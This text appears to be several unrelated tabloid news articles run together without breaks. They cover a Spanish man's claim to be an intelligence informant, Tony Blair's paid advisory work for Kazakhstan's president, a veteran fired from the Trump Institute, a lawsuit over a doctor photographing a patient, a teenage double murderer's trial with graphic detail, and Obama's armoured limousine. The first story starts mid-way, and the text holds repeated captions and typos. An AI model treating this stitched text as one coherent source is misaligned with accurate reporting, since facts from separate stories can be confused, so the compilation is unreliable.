Through his lawyer, Harrak said he had come into contact with the National Intelligence Centre via an email.

Through his lawyer, Harrak said he had come into contact with the National Intelligence Centre via an email

The self-confessed lover of war games, guns and paint-balling is being kept under maximum security in Palma prison and is being isolated from other prisoners

He had previously tried unsuccessfully to get accepted into the Army but had been rejected because he did not have the Spanish nationality.

It was at that moment that he 'decided to take another service to the country', joining the CNI as a contract agent.

Harrak said all contacts with the CNI were conducted online. The intelligence service came into contact with him and, according to his statement, two officers 'travelled to Mallorca specifically to meet and interview him'.

I am a CNI agent and they instructed me to infiltrate myself between these groups of radical jihadists. Mohamed Harrak

However, the problem of nationality was again a problem and he was rejected as part of this special unit.

According to his statement, Harrak was asked to become a partner, meaning an external person who provides information to the intelligence services.

Harrak said he accepted the offer and started work immediately. The aim was to infiltrate radical jihadists and stop them from planning attacks.

He claimed this work involved posting messages on social media in favour of the Islamic State and announcing his intention to join the group and become a fighter.

Therefore, he agreed that all the messages seized by the police were his but were all part of his intelligence work.

The court was told that Harrak used this excuse before when he went to seek advice about police investigating him for drug possession.

The judge asked him why he had not revealed this before and he said he had been forbidden to do so by the CNI who ordered him to keep his mission a secret.

Harrak's parents and relatives have been backing his case, saying he had always expressed his rejection of the Islamic State.
Blair (left) greets Kazakhstan's President Nursultan Nazarbayev (right) in Downing Street in November 2000

How much does it cost a corrupt, oil-rich despot with an appalling human rights record to stick Tony Blair on his payroll?

It's a question that's been asked repeatedly since our former Prime Minister left Downing Street and began signing lucrative consultancy deals in Kuwait, Qatar, Colombia, China and a host of murky dictatorships.

Informed sources frequently allege that his global portfolio of sometimes dodgy clients is likely to be worth tens of millions of pounds per year.

Yet such estimates are always loftily dismissed, occasionally by the man himself.

In a recent speech, Blair somewhat comically claimed to be worth less than 20 million, despite boasting property holdings which, alone, are worth around twice that.

Today, the Mail can finally lay the spin and speculation to rest: the real fee, per autocratic client, is precisely 5.3 million per year.

That, at least, is what Labour's one-time leader asked for, in writing, to provide 'leader-to-leader' advice to one of the world's ugliest despots, Kazakhstan's president Nursultan Nazarbayev.

Their commercial relationship stretches back to at least 2011, and  we can disclose  was first mooted in 2009, meaning that the 75-year-old tyrant might have paid more than 20 million to secure Blair's services.

Thanks to a dossier of leaked documents, we are now also able to expose some extraordinary details of the work Blair actually carries out to earn this astonishing fee (which includes VAT).

We can chronicle, in detail, how he's offered help to Nazarbayev, a deeply oppressive autocrat who has run Kazakhstan as a personal fiefdom for almost 30 years.

In that time, his regime has fixed elections, imprisoned and murdered opponents, shut down opposition newspapers, and siphoned vast wealth to a motley selection of Nazarbayev's friends and family members.

The U.S. state department has accused Nazarbayev's government of presiding over 'pervasive corruption' along with 'torture', 'restrictions on freedom of speech', 'arbitrary arrest', and 'discrimination and violence against women'.

None of which would appear to bother Blair too much. For we can also reveal how Britain's former PM secretly helped the Kazakhs lobby the European Parliament to pursue 'partnership and co-operation' with this vile dictator at a time of global outrage over the massacre by his regime of 15 striking oil workers.

Documents obtained by the Mail show that in 2012 Blair advised his client to enlist the help of his old friend, Baroness Ashton, a former New Labour crony-turned-EU Commissioner, in an attempt to convince MEPs that, despite the bloody atrocity, Kazakhstan was a 'remarkable success story' worth courting as a trading partner.

Shamelessly, Blair then personally intervened to help the despotic Nazarbayev 'spin' the massacre to news outlets, providing extensive advice to the dictator regarding how, in his words, to 'deal with it in the way I suggest is the best way for the Western media'.

These, and other hair-raising revelations are contained in a leaked tranche of more than 30 emails sent by Blair's consultancy firm, Tony Blair Associates, to the Kazakh government over the past seven years.

They offer detailed and wholly unprecedented insight into the former Prime Minister's lucrative  some would say deeply immoral  business affairs, showing the degree to which he has leveraged contacts made in Downing Street for commercial gain.

Blair's office was behind a secret plan to use Lady Ashton, an old chum, to help lobby the European Parliament on behalf of a commercial client

Blair has always endeavoured to keep his controversial links to Nazarbayev secret, typically issuing short and dismissive comments about the subject when it attracts criticism from the media or human rights organisations.

Yet the emails, which include chummy handwritten letters from Blair to Nazarbayev, shed unprecedented light on the extent of their relationship, suggesting it runs far, far deeper than previously thought. They also showcase Blair's grasping sales pitch to the dictator, revealing exactly how he attempted to negotiate a renewal of his annual 'consultancy' contract with the regime in 2014.

For a total sum of $6.3 million, plus VAT  the equivalent of 5.3 million  Tony Blair Associates [TBA] offered in June that year to provide 12 months of 'political advice' to the despot, as well as offering counsel on the country's notoriously corrupt legal system and setting up a 'civil service academy'.

Blair's fee was set out in detail in emails from Austrian lawyer Andreas Baumgartner, a member of his 'senior leadership team', to the Kazakh ambassador to London, Erzhan Kazykhanov, sent that June.

They explained that TBA wanted $2.65 million (1.85 million) for providing 'political advice', plus $2.55 million (1.78 million) for helping Nazarbayev uphold the 'rule of law' and $1.1 million (770,000) for running the civil service academy.

The money  part of which covered 'professional fees' for Tony Blair  would be paid to Windrush Ventures, a firm which Companies House says has Mr Blair as its 'ultimate controlling party'.

Tony Blair's handwritten letter (above) advising Kazakh despot Nursultan Nazarbayev how to spin a massacre

Asked about this arrangement, Blair's office issued a statement last night denying that money paid by Kazakhstan to the firm, which has 12 million in the bank, ended up going to him 'personally'.

'Fees do not go to Mr Blair personally, but primarily fund the team on the ground to live and work in the country,' it read. 'Mr Blair has taken no personal fee from the project.'

Either way, central to the multi-million-pound 2014 sales pitch was Blair himself.

In a nine-page 'letter of proposal', marked 'confidential' and headlined 'Supporting Kazakhstan's Journey: Continuing the Co-operation between Kazakhstan and Tony Blair Associates', the firm told the dictator it was 'honoured by your trust and are looking forward to the next chapter' in their commercial relationship.

The document, essentially a sales patter for the 'political advice' section of their proposed contract, claimed: 'Direct involvement of Tony Blair and senior members of Tony Blair Associates will ensure top-level political advice and insights to Kazakhstan's key decision-makers.

We are looking forward to bringing this top-level political leadership experience to the table.

'Tony Blair will continue to oversee the project and support Kazakhstan's leadership in the journey of evolutionary change. He will share his own experience, support problem solving, and discuss suggestions and recommendations.

'Mr Blair also intends to visit Astana [the capital] during the work, and engage on the project with the President, Akorda [his office], and Government representatives and other key decision-makers.

A key aide offered Mr Blair's (pictured) 'private strategic advice' to Mr Nazarbayev only a year after he left No 10, the dossier reveals

Blair's 'Letter of Proposal' setting out in detail the 'political advice' work his firm will carry out for Kazakhstan

'Beyond that, Mr Blair will be available via phone and mail throughout the course of the project, and will be happy to meet with leading representatives of Kazakhstan in London.'

In a later email, Baumgartner clarified that Blair, or 'TB', would make at least four personal visits to Kazakhstan during the year that the 5.3 million deals ran, while his firm would offer further 'hands-on' help for the dictator from a range of 'very heavy senior experts'.

He specified that four employees of Blair would be permanently stationed 'on the ground' there.

Meanwhile, in a 14-page prospectus discussing the 'civil service academy', also marked 'confidential', Tony Blair Associates sought to justify these exorbitant fees by describing itself as 'a unique value proposition'.

'Tony Blair's personal involvement enables assistance and offers discussions 'leader to leader' in a way that no other consultancy can offer: leadership is a major part of getting things done,' it declared, adding that he boasts 'an extensive and unparalleled network of trusted and experienced advisers and experts'. It was, all told, quite the hard sell.

Meanwhile, a third 'confidential' document, spanning six pages and described as a 'letter of financial proposal', added that the vast fees weren't all that the Kazakhs were required to pay to secure Blair's services.

They were also told to pay for 'a dedicated car with driver in Astana' a full-time 'translator', and 'adequate, designated office space' for Blair staff there.

Most costly of all, perhaps, would be a requirement for Nazarbayev's government to cough up for the 'full travel arrangements for visits by Tony Blair, including first-class hotel accommodation, all transportation... appropriate catering and any other costs' each time he comes to Kazakhstan, for him and up to 'five people travelling' in a personal entourage.

All of which is an eye-opening insight into the gilded lifestyle now enjoyed by our former Prime Minister, who to the concern of many former socialist supporters, has devoted recent years to the accumulation of vast wealth. Nazarbayev's regime isn't even the only paymaster Blair appears to boast in Kazakhstan. Other emails refer to potential deals with the country's national bank, along with local government in the city of Kyzylorda.

This section of the proposal set out Blair's 'personal involvement' in Kazakhstan's 'journey of evolutionary change'

The proposal describes how the services will cost $166,500 per month, in a project overseen by Blair

Meanwhile, several of his former Downing Street cronies have also benefited from the deal.

Alastair Campbell and Tim Allan, Blair's former spin-doctors, have carried out extensive PR work for the despot, while Cherie Blair in 2014 signed a 1,000-per-hour deal to give his regime legal advice.

What the taxpayers of Kazakhstan would make of their government's role in enriching Mr Blair and his chums can only be imagined.

To the despotic Nazarbayev, however  a former Communist party boss who has ruled the country since independence in 1991, winning an 'election' last April with 97.7 per cent of the vote  the commercial relationship has at times proved to be invaluable.

Take, for example, events that unfolded in the first half of 2012, amid growing international outrage over an incident months earlier when the dictator's police force had opened fire on a crowd of striking industrial workers in the city of Zhanaozen, killing 15 unarmed men and women.

The incident was par for the course in a country where, according to Amnesty International, 'impunity for torture and other ill-treatment remain largely unchallenged'.

Yet complaints by human rights groups had slowly begun to turn the massacre into a global cause celebre.

By March 2012, it was threatening to overshadow an effort by Nazarbayev to sign an 'enhanced partnership and co-operation agreement' with the EU, which was due to be considered by the European Parliament that month.

Mr Nazarbayev is pictured with the Queen at Buckingham Palace in November 2006

Indeed, the Kazakhs were increasingly concerned that MEPs, with their pesky concerns for human rights, might decide to vote down the precious 'partnership' in their debate on March 14.

Enter Tony Blair.

I can reveal that five days before the all-important debate, Michael Roberts, a former British ambassador then on the payroll of TBA's team in Astana, emailed the Nazarbayev regime with a secret plan, endorsed by Blair, to secure the agreement's safe passage through the EU Parliament.

At its centre would be a letter, attached to the email, which was signed by Nazarbayev  but had in fact been written by TBA. It sought to distance the dictator from the events in Zhanaozen, express remorse for the atrocity, and argue that his regime was 'determined to learn lessons' from it.

The text of the contrite missive, which spanned several pages, had been 'seen and approved by Mr Blair' and was based on 'ideas from Mr Blair himself'.

It was intended to be sent to Lady Ashton, a former New Labour crony who had been granted a peerage by Blair in 1999 and was by then, conveniently, working as the EU's first ever Foreign Minister.

'We are clear that the letter should quickly become public,' Roberts wrote.

'It is intended to be sent  by Lady Ashton's office  to all MEPs, European Commissioners, and EU Foreign Ministers. For maximum impact, we recommend that it be sent electronically to her office (rather than waiting for a meeting or delivery by hand).

'Obviously the sooner this is done the better. Your mission in Brussels might liaise with Lady Ashton's office on the issue of wider circulation.'

Later in his email to the Nazarbayev regime, Roberts explained that Kazakh diplomats should also launch a campaign of 'direct lobbying in the European Parliament', contacting 'a number of MEPs known to be sympathetic to Kazakhstan'.

They were advised to 'use your relationship with Alfred Gusenbauer', a former Chancellor of Austria, to persuade a 'very influential' Left-wing Austrian politician called Hannes Swoboda, who headed up a socialist voting bloc, to declare support for the 'partnership' deal.

All of which means that Blair's office was behind a secret plan to use Lady Ashton, an old chum, to help lobby the European Parliament (which she then worked for) on behalf of a commercial client. And that client had been responsible for appalling human rights abuse.

What a rum piece of business for our former Prime Minister to be orchestrating!

How extraordinary, one might add, for a Labour politician who for years lectured us about global moral leadership  and whose government famously boasted about its 'ethical foreign policy'  to be accepting money in exchange for mounting such an immoral spin and lobbying operation.

Little wonder that campaigners expressed outrage at the Mail's revelations last night.

'Blair has claimed he's promoting democracy and human rights in Kazakhstan, but it's increasingly clear his objective was to make money,' says Hugh Williamson, an expert on the region from Human Rights Watch.

'Getting involved in lobbying for Nazarbayev in Brussels is a long way from promoting the rule of law and human rights in Kazakhstan, which Blair has claimed were his motives.

Blair (left) and Colonel Gaddafi (right) shaking hands at Gaddafi's desert base near Sirte, Libya, in 2015

Blair should stop trying to mislead the public on what his real motives are.'

It should be stressed that it remains unclear whether the proposed letter that was supposed to be dispatched from Nazarbayev to Catherine Ashton was ever actually sent.

Baroness Ashton said last night that she 'received hundreds of letters and emails' while working for the EU and 'don't remember whether my office ever received this one'.

'I certainly don't remember any conversations with Tony Blair on this,' she added.

We must take her at her word. Interestingly, however, the human rights organisation Open Dialog published a report in 2012 complaining that Ashton, who'd recently met with Nazarbayev, had 'paid little attention to human rights violations in his country'.

As for Blair's office, they claimed 'we have no record of any such letter being sent to Cathy Ashton'.

Curiously, they have in the past vigorously denied ever lobbying on behalf of Kazakhstan, claiming in 2013: 'We don't lobby but we do carry out work on social and economic reform in Kazakhstan.'

Quite how they reconcile that claim with the proposed letter to Ashton is anyone's guess.

Either way, Mr Blair's wider plan appears to have been a great success: the European Parliament's 'enhanced partnership and co-operation agreement' with Kazakhstan was duly ratified. As for the fallout from the Zhanaozen massacre, Blair continued to mastermind a dogged PR operation to prevent his client from facing criticism.

In July 2012, he wrote a personal letter to Nazarbayev, who was due to visit the UK days later, saying 'I think it best to meet head on the Zhanaozen issue', and saying that 'dealing with it in the way I suggest is the best way for the Western media'.

And then he redrafted a speech the despot was due to give in Cambridge during the visit to include mention of the atrocity, and to argue that 'these events, tragic though they were, should not obscure the enormous progress that Kazakhstan has made'.

Blair signed the letter to Nazarbayev by hand: 'With very best wishes. I look forward to meeting you in London!'

It was, perhaps, just another chapter in a cosy personal relationship that stretched back to November 2000, when they had first met at Downing Street during a state visit.

Mr Blair (pictured giving evidence to the Iraq Inquiry) denies making any personal profit from his deals with Kazakhstan

Back then, Britain's Prime Minister flattered the dictator by allowing him to cradle his six-month-old baby Leo in his arms.

In 2006, Nazarbayev visited again, and their friendship was cemented when he was once more invited into Downing Street for a series of chummy photo-calls.

Blair quit office in June 2007, and promptly left Parliament to supposedly devote himself to an important new job as the UN's Middle East Envoy.

But in practice, his attention soon turned to the more serious business of becoming extremely rich.

Although his role with the Kazakhs wasn't first reported until 2011, the Mail can reveal that Blair actually began pursuing the lucrative job opportunities there in 2008 three years earlier than previously known.

We have, to that end, obtained an email sent by Blair's one-time Chief of Staff, Jonathan Powell, to Yerzhan Kazykhanov, one of Nazarbayev's aides, on November 17 that year.

It refers to discussions taking place about 'possible co-operation between Tony Blair and his team and President Nazarbayev', and lays out in detail the 'confidential advice' that our former PM would be willing to give the wealthy despot.

The lengthy note talks about helping improve his economy and improve his tarnished global reputation. But it, of course, contains no mention of human rights, or democracy.

Instead, the email suggests 'regular meetings between Tony Blair and President Nazarbayev, starting with a meeting in January to cover the international political scene, economic situation in Europe and Kazakhstan, and the proposed nature of future co-operation between Tony Blair and his team and President Nazarbayev . . . meetings should take place every three to six months, with telephone conversations at other times'.

So, it would seem, began a relationship which continues to this day, funnelling cash into the coffers of Tony Blair Associates at a rate of more than 5 million a year, and forever tarnishing the reputation of this most greedy and hypocritical of British prime ministers.

Tony Blair's handwritten letter advising Kazakh despot Nursultan Nazarbayev how to spin a massacre

How Blair's aide emailed Kazakh regime in plot to convince MEPs that their country was a 'remarkable success story'

In March 2012, amid an international outcry over the massacre of striking industrial workers in Zhanaozen, Blair's aide Michael Roberts emails the Kazakh regime discussing how to enlist Baroness Ashton in a covert attempt to convince MEPs that their country is a 'remarkable success story.'

Blair's April 2014 'Letter of Proposal' setting out in detail the 'political advice' work his firm will carry out for Kazakhstan

Blair's April 2014 'Letter of financial proposal' setting out costs of the 'political advice' work his firm will carry out in Kazakhstan

The $1,998,000 it quotes was later revised up to $2.65m.

Email from Blair's employee to Kazakh ambassador quoting $3.75m for 'compromise proposal'

Blair's employee Andreas Baumgartner emails the Kazakh ambassador on June 12th 2014, quoting $3.75 for two of the three deals he hopes to sign

Blair's colleague offer $400,000 discount for multi-million pound contract boasting of good price for 'heavy senior expert involvement'
A sergeant in the Air Force reserves was fired from his job at the Trump Institute for his absences - even though he missed work because he was deployed in Afghanistan in 2007.

Donald Trump has repeatedly declared his love for veterans, and skipped a Republican debate in January to hold a fundraiser for those who served in the armed forces instead.

But revelations that Richard Wright was fired from his job with the educational real estate program after he returned from service runs contrary to Trumps claims that he will take care of veterans.

Donald Trump (left, in February presenting a check to a veteran's organization) has repeatedly declared his love for veterans, and skipped a Republican debate in January to hold a fundraising rally instead

Richard Wright was fired from his job at the Trump Institute for his absences - even though he missed work because he was deployed in Afghanistan in 2007. Trump Institute was a separate entity from the widely criticized Trump University, but the two were similar in their promises that clients would get rich

According to the Huffington Post, Wright thought he'd be working directly with the real estate mogul when he got the Trump Institute job in 2006.

But Trump simply franchised his name to the institute, which was actually run by a company in Florida called the National Grants Conferences.

Wright, who earned commissions by advising clients on flipping properties, was deployed to Afghanistan in 2007 and earned three medals during the six weeks he was gone.

When he returned, his boss Jay Shavin allegedly told him his absences led to the company's reevaluation of his position, the Huffington Post reported.

Under the Uniformed Services Employment and Reemployment Rights Act of 1994, veterans cannot be denied or discriminated against in regards to employment, reemployment, retention, and promotions when they are absent from their work due to military duty.

Wright sued the company for wrongful termination, and reached an undisclosed settlement.

Shavin has denied Wright's employment was fired because of his service in Afghanistan, while a spokesman for the Trump Organization pointed out the real estate mogul was not personally involved in the incident.

Alan Garten told the Huffington Post: 'Mr. Trump had nothing whatsoever to do with the employment of any of the Trump Institutes employees or mentors...

'Mr. Trump has always been a great supporter of the men and women who have served in this countrys armed forces and has devoted much of his campaign to improving the lives of veterans.'

Shavin has denied Wright's employment was terminated because of his service in Afghanistan, while a spokesman for the Trump Organization pointed out the real estate mogul was not personally involvement in the incident (Trump pictured on April 17, with members of the New York Veterans Police Association)

Under the Uniformed Services Employment and Reemployment Rights Act of 1994, veterans cannot be denied or discriminated against in regards to employment, reemployment, retention, and promotions when they are absent from their work due to military duty

Regardless of his experiences working at Trump Institute, Wright pledged his support for the Republican front runner, saying: 'I am a HUGE Trump fan and supporter and think he would make an excellent leader. As a veteran, I LOVE that he is wanting to make America great again.'

According to thenation.com, Trump Institute was a separate offshoot of Trump University in Florida.

While there were many students who complained against both institutions, they operated as separate entities.

According to the Huffington Post, some clients at the institute paid $35,000 to learn the 'Donald Trump Way to Wealth'.

Trump bragged that his January rally for veterans groups raised $6million for more than 20 charities.

The Washington Post contacted the charities, and accounted for less than $3million of the money.
An aspiring actress is suing Northwestern Memorial Hospital after a doctor allegedly took pictures of her while she was being treated for alcohol intoxication and then posted them on social media.

Elena Chernyakova, 25, was receiving emergency care when she said Dr Vinaya Puppala, who she knew through a mutual friend, came to her hospital room.

She said he then took photographs as she tried to hide from him, at one point even covering her head with a towel, according to CBS 2.

Elena Chernyakova, 25, is suing Northwestern Memorial Hospital in Chicago after Dr Vinaya Puppala allegedly took pictures of her while she was being treated for alcohol intoxication (right) and posted them on Facebook

Chernyakova alleges he then posted the pictures on Facebook and Instagram with captions such as '#bottle #service #gone #bad'.

'It was the worst experience of my life,' Cherynakova told CBS 2. 'I felt extremely betrayed because a hospital is the once place where any patient should feel safe.'

Cherynakova said the June 2013 incident wasn't the first time Puppala, then a fellow at the Chicago hospital, had acted inappropriately toward patients.

The lawsuit alleges Puppala, now a board-certified anesthesiology pain specialist, came to work smelling of alcohol and walked in on patients while they changed clothes.

It also claims other physicians had accused Puppala of treating his patients 'like goats' and created fake business guards to misrepresent his position.

Northwestern obtained a protective order to seal Puppala's fellowship documents and said it had 'zero tolerance' toward disclosing the private health information of patients, including photographs.

'The allegations detailed in this complaint indicate this person was acting entirely on his own and had no treatment relationship with the plaintiff,' the hospital said in a statement.

'Any invasion of privacy at the hands of our trusted health personnel or extended care team of training fellows is unacceptable and not indicative of the Patients First culture of Northwestern Memorial Hospital.'

Chernyakova alleges Puppala (pictured) then posted the pictures on Facebook and Instagram with captions such as '#bottle #service #gone #bad' and called it the 'worst experience' of her life

Puppala received his fellowship certification from Northwestern Memorial Hospital and now works at Alliance Spine and Pain Centers in Atlanta.

He makes no mention of his time at Northwestern Memorial Hospital in his bio on the center's site.

Chernyakova filed at $1.5m lawsuit, claiming invasion of privacy and infliction of emotional distress, against Puppala in 2013.

The incident took place on June 13, 2013 after Chernyakova was taken to the emergency room at Northwestern Memorial Hospital in Chicago, at 3am suffering for overconsumption of alcohol.

She was allegedly unconscious for the next eight hours and wasn't released until 5.30pm that day.

About 15 minutes after she regained consciousness, Puppala, who was on duty at the time, visited Chernyakova's hospital room, according to the complaint.

He allegedly asked to view her medical records, and then returned several hours later to take photographs of her while she was on the hospital bed, crying and attached to an IV'.

Puppala was seen by hospital security in the hospital taking the pictures and was asked to delete them immediately, which he refused to do, the complaint states.

The complaint alleges that Chernyakova, who graduated from Northwestern University in 2012, never agreed to be photographed - and was not even in a condition to provide her consent.

Chernyakova has since called on the hospital to be more upfront with Puppala's documents.

'Especially if they did not do anything wrong,' she said, 'they should not have anything to hide.'

Cherynakova (pictured right with Sylvester Stallone and left on set of a film) said the June 2013 incident wasn't the first time Puppala, then a fellow at the Chicago hospital, had acted inappropriately toward patients
A teenage double killer may have gone on to murder 15 more victims if he had not been caught by chance.

James Fairweather was 15 when he stabbed a young father and a female student, claiming voices in his head told him to 'sacrifice' the pair for committing sins.

Incredibly, officers interviewed him about one killing but he was allowed to go after claiming he had been at home at the time.

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James Fairweather (pictured) was 15 when he stabbed a young father and a female student, claiming voices in his head told him to 'sacrifice' the pair for committing sins. It also emerged the killer had been voluntarily interviewed by police following the death of Miss Almanea because he had a conviction for a knife-point robbery earlier that year

After avoiding justice for more than a year, the schoolboy loner  who was obsessed by serial killers including the Yorkshire Ripper  was snared as he was 'lying in wait' for his next target. A dog walker spotted the bespectacled teenager lurking in woods near the spot where the butchered body of one of his victims had been found 11 months earlier.

Arrested by police, he admitted he had been hunting his third victim on that day.

Yesterday, the killer was branded a 'monster' as a jury at Guildford Crown Court found him guilty of murdering two strangers in Colchester, Essex. Fairweather's first victim was disabled 33-year-old father-of-five James Attfield, who was stabbed 102 times during a frenzied three-minute attack in March 2014.

Three months later, the 5ft 6in schoolboy attacked Saudi PhD student Nahid Almanea, 31, knifing her 16 times with a 10in bayonet on a public footpath.

Both victims were stabbed in their eyes. During the two-week trial, the jury was shown clips from Fairweather's police interviews in which he gave 'chilling' detail of his attack on Mr Attfield.

The killer showed officers how he stood over his victim and repeatedly knifed him in the stomach.

Fairweather's first victim was disabled 33-year-old father-of-five James Attfield, who was stabbed 102 times during a frenzied three-minute attack in March 2014

A pathologist said Miss Almanea had been stabbed through both eyes, penetrating her brain. Another wound was inflicted with such force it went through her ribs

He told detectives: 'I was sitting in the living room and I heard this voice saying, 'You need to sacrifice or we are going to come and get you.' He described walking around his estate 'looking for a sacrifice' before stabbing Mr Attfield as he lay drunk on the grass.

'They [the voices] were saying, 'He is the one, do it.' So I stabbed him a few times.' A pathologist said Miss Almanea had been stabbed through both eyes, penetrating her brain. Another wound was inflicted with such force it went through her ribs.

Fairweather, who told a psychiatrist he could have killed another 15 victims, committed the murders under the noses of his parents James, 45, a cleaner, and Anita, 45, a McDonald's worker.

The former pupil of Colchester Academy continued going to school in between the two frenzied attacks and even sat his GCSEs. He was only arrested in May 2015 when a female dog walker saw him lurking in woods near the spot where Miss Almanea's body had been found.

She called the police, who found a lock knife on Fairweather and realised he was wearing gloves even though it was almost summer.

In a police interview, Fairweather acted out his first killing, showing how Mr Attfield was sleeping at the time

After the verdict, Mr Attfield's mother, Julie Finch, 52, said in a statement: 'James Fairweather is a monster in our eyes and we will never be able to forgive him'

Taken to a police station, Fairweather almost immediately confessed to killing Mr Attfield and Miss Almanea, and later admitted he had been hunting his third victim on that day. At his home, police found a number of books and DVDs about serial killers  including the Yorkshire Ripper and US mass murderer Ted Bundy. They also discovered he had carried out internet research on Kenneth Erskine  the 'Stockwell Strangler'  who had a murder conviction reduced to manslaughter due to diminished responsibility.

Fairweather used the same defence, claiming he heard voices that compelled him to kill and believed he was possessed by the devil. But the prosecution argued Fairweather's hallucinations were 'a fabrication to hoodwink the jury'.

It also emerged the killer had been voluntarily interviewed by police following the death of Miss Almanea because he had a conviction for a knife-point robbery earlier that year. But he was let go without arrest or charge after telling police he had been at home at the time of the attack  despite there being no corroborating evidence of his alibi.

Steve Worron, Assistant Chief Constable of Essex Police, yesterday insisted Fairweather was never 'eliminated' from the inquiry but had remained a 'person of interest'. In January, DNA taken from the back of Miss Almanea's hand linked him to her killing after 'advances' in forensics. After the verdict, Mr Attfield's mother, Julie Finch, 52, said in a statement: 'James Fairweather is a monster in our eyes and we will never be able to forgive him.'

Fairweather, now 17, will be sentenced next week at the Old Bailey.

'I want to be a murderer': How teenage weakling who fantasised about killing school bullies began being 'instructed by the devil' before murderous rampage

Killer James Fairweather once told a teacher: 'I want to be a murderer.' A loner who played violent video games and watched pornography, the teenager became increasingly reclusive in adolescence and began fantasising about raping girls at his school and killing boys who mocked him.

The youngster started hearing voices in his head at 14 after bullies teased him with names such as 'Dumbo' and 'FA Cup'.

But as his grip on reality loosened, the bespectacled teenager began to believe he was being instructed to kill by the devil and went on a murderous rampage.

According to a pupil at the Colchester school he went to, the troubled youngster had one thing on his mind: killing.

The 16-year-old girl said: 'Everyone at school knew when a teacher asked him what he wanted to do when he was older, he said, 'I want to be a murderer'.

The former pupil of Colchester Academy continued going to school in between the two frenzied attacks and even sat his GCSEs

'Just before his Year 11 final assembly, he said he was going to come into school and shoot everyone. I remember that day, I told my mum about it and I didn't want to go in to school.'

At his trial, jurors heard how Fairweather, who is autistic and dyslexic, was 'quiet and shy' as a youngster and preferred to be with his parents because he found it hard to make friends.

He told psychiatrists he did not like big groups and wet the bed until he was eight. Dr Philip Joseph, a consultant forensic psychiatrist, said the teenager told him: 'I was sitting in the classroom being bullied and all of a sudden I heard voices saying, 'Why are you taking this from these people?'

'As time went by they got louder, more aggressive, saying violent things. I felt they were my friends and I distanced myself from other people. People called me a 'freak' and a 'weirdo' because I was talking to myself.

'I thought the voices were coming from the devil. I didn't mention them to anyone because if I did they told me they would come and get me.' Dr Simon Hill, a consultant forensic psychiatrist who cared for the teenager in recent months, told the court of an assessment in August 2015 in which he described 'the most anti-social violent thoughts' he had ever heard.

He said the Fairweather talked about voices telling him to set fire to babies and cut their necks off.

Dr Hill also told the court how the boy had said he watched pornographic and violent DVDs before he began hearing voices.

He said: 'He watched violent and pornographic films on his computer. He said he watched those films before the voices. But after hearing voices the videos excited him.

'He admitted being turned on by the thought of serial killers but his excitement increased after he started hearing voices.'

Emma Thomas, Essex Police Press Officer (right) makes a statement outside Guildford Crown Court on behalf of Julie Finch (centre), the mother of James Attfield

One teacher wrote in a report when he was aged 11: 'He is basically a thug.' His behaviour became more extreme when his grandmother, who he was close to, died of cancer in April 2012

The killer is said to have 'giggled' with excitement when talking to a psychiatrist about throwing acid in the face of his headteacher.

He even told doctors he had rape fantasies as recently as three months ago. They included handcuffing and raping women, including female staff and patients on the secure hospital ward he is in.

Jurors heard the fantasies had included 'beating them in the face with his fists and forcing sex on them from behind'. Fairweather  who was also interested in cannibalism and Nazism and had expressed a desire to join far-Right group Combat 18  also told doctors he had thought about killing his parents and his older sister, who went off to live with their grandfather at the age of 16. That claim is at odds with the finding of one specialist, who said the teenager's home life seemed relatively stable.

Recalling the moment he was arrested on May 26 last year, Fairweather admitted he had been out hunting his third victim. He told psychiatrists: 'I was in the mood to kill someone. The devil wanted me to kill.' He claimed he wanted to kill 'soon', but decided to keep his 'head down' because police had interviewed him following the discovery of his second victim.

Yesterday his uncle Patrick Dunne described his nephew as a 'gentleman' who had gone on a downward spiral following cruel taunts at school. He said: 'He was a loner at school. He found it hard to make friends. He would not be able to communicate with other people that he did not know. He just does not have those skills.

The killer is said to have 'giggled' with excitement when talking to a psychiatrist about throwing acid in the face of his headteacher

'He was bullied badly at school, from the glasses to being a geek. He had it rough. Going through school he was called 'four eyes'. Kids are the cruellest.'

At the age of six, Fairweather was described in a school report as 'quiet and well-behaved' and 'kind [and] sensitive to the needs of others'. But just six years later, in secondary school, he had became violent  kicking, punching and head-butting other students.

One teacher wrote in a report when he was aged 11: 'He is basically a thug.' His behaviour became more extreme when his grandmother, who he was close to, died of cancer in April 2012.

Mr Dunne said the darts-mad youngster, who had previously won praise from his school for his 100 per cent attendance record, also changed beyond recognition after he was robbed at knife-point around the same time.

He said: 'It scared him so much he would not go out of the house without a knife.' He also started playing violent video games such as Call of Duty and Grand Theft Auto at around the age of 13.

Paul Woollard, the former partner of Fairweather's older sister, 20, claims she told him her brother was abusive. The 39-year-old said: '[She] told me he [her brother] once got the PlayStation wire, put it round her throat and pulled it.
When Barack Obama travels, he usually travels with The Beast.

His gigantic bomb-proof General Motors limousine, with eight-inch thick steel on the door, ferries the President round on the ground while he's abroad.

But because of its size - 18ft in length and weighing eight tons - the $1million vehicle can sometimes be tricky to maneuver.

Which made his driver's handling skills outside 10 Downing Street all the more impressive.

Easy does it: The driver of 'The Beast', Barack Obama's Cadillac, was left to turn the car round in a particularly tight spot

What were you worried about? The driver expertly makes the maneuver in front of the fascinated press pack while Mr Obama was inside with David Cameron, the British Prime Minister

No frills: The Beast has previously suffered problems turning - including outside Downing Street before when the car almost got stuck across the street between the door and the press

Niche product: Specially built for Mr Obama, the General Motors vehicle boasts its own oxygen supply in case of chemical attack and puncture resistant, run-flat tires reinforced with Kevlar

President Obama's driver executed an expert turn outside Prime Minister David Cameron's official residence while the leaders were talking inside.

What was doubly impressive was tthathat this driver succeeded where others have failed in the past.

In 2009, during a visit to see former Prime Minister Gordon Brown, the car almost got stuck across the street between the No 10 door and the eager press pack.

Several tweaks of the Cadillac's position were needed to complete the outmaneuver and get the car in position to carry the President safely away.

Even worse befell The Beast in 2011 when the car got stuck driving up a ramp to leave the US embassy in Dublin in 2011.

The Cadillac's rear wheels were left spinning helplessly - forcing the Secret Service to park a bus in front of the stranded car while they retrieved it.

When the President is riding in one, the vehicle is officially known as Cadillac One. However it has come to be affectionately known as The Beast.

Specially built for Mr Obama, the General Motors vehicle boasts its own oxygen supply in case of chemical attack and puncture resistant, run-flat tires reinforced with Kevlar.

All of the windows are completely sealed and unable to roll down, except for the driver's side to allow him to pay tolls, and are able to withstand armor-piercing bullets and explosions.

The tires are coated in Kevlar to protect them from bursting, but even if they do, the metal rims are strong enough to hold up the vehicle and keep it rolling in case the outer layer is blown away.

Hulking Beast: The US Presidential Cadillac stands in the quadrangle of Windsor Castle after Barack and Michelle Obama arrived by helicopter to meet the Queen and Prince Philip

Don't mess with the Beast: There are even two pints of blood matching the President's type on board in case an emergency transfusion is needed

